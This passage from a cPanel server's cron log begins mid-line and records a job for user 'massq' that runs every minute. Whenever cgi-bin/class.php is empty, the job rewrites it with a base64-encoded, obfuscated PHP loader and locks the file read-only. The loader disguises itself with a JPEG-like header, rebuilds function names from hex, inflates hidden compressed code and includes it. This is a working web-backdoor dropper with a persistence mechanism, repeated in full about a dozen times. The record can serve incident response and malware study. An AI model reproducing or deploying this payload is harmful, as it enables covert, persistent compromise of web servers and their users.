&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:00:01 server CROND[13630]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 05:00:01 server CROND[13634]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 05:00:01 server CROND[13635]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:00:01 server CROND[13633]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 05:01:01 server CROND[14562]: (root) CMD (run-parts /etc/cron.hourly)
Nov 13 05:01:01 server CROND[14563]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:01:01 server run-parts(/etc/cron.hourly)[14562]: starting 0anacron
Nov 13 05:01:01 server run-parts(/etc/cron.hourly)[14575]: finished 0anacron
Nov 13 05:02:01 server CROND[15432]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:03:01 server CROND[16255]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:04:01 server CROND[16920]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:05:02 server CROND[17888]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 05:05:02 server CROND[17890]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 13 05:05:02 server CROND[17893]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:05:02 server CROND[17891]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 05:05:02 server CROND[17892]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 05:06:01 server CROND[18792]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:07:01 server CROND[19647]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:08:01 server CROND[20492]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:09:01 server CROND[21363]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:09:01 server CROND[21364]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 05:10:01 server CROND[22278]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 05:10:01 server CROND[22279]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 05:10:01 server CROND[22280]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:10:01 server CROND[22281]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 05:11:01 server CROND[23278]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:12:01 server CROND[24140]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
